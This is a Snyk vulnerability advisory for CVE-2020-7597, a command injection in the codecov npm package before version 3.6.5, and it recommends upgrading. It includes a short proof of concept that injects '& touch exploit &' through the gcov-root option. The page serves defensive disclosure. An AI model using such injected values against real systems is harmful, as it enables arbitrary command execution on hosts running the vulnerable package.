<p>Upgrade <code>codecov</code> to version 3.6.5 or higher.</p>

Command Injection Affecting codecov package, versions <3.6.5

Snyk CVSS

Attack Complexity Low

Confidentiality High

Threat Intelligence

Exploit Maturity Proof of concept

EPSS 0.76% (81^st percentile)

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Snyk ID SNYK-JS-CODECOV-548879
published 16 Feb 2020
disclosed 16 Feb 2020
credit JHU System Security Lab

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Introduced: 16 Feb 2020

CVE-2020-7597 Open this link in a new tab CWE-78 Open this link in a new tab First added by Snyk

How to fix?

Upgrade codecov to version 3.6.5 or higher.

Overview

codecov is a npm package for uploading reports to Codecov.

Affected versions of this package are vulnerable to Command Injection. The value provided as part of the gcov-root argument is executed by the exec function within lib/codecov.js. This vulnerability exists due to an incomplete fix of CVE-2020-7596.

PoC by JHU System Security Lab

var root = require("codecov");
var args = {
  "options": {
    'gcov-root': "& touch exploit &",
    'gcov-exec': ' ',
    'gcov-args': ' '
  }
}
root.handleInput.upload(args, function(){}, function(){});

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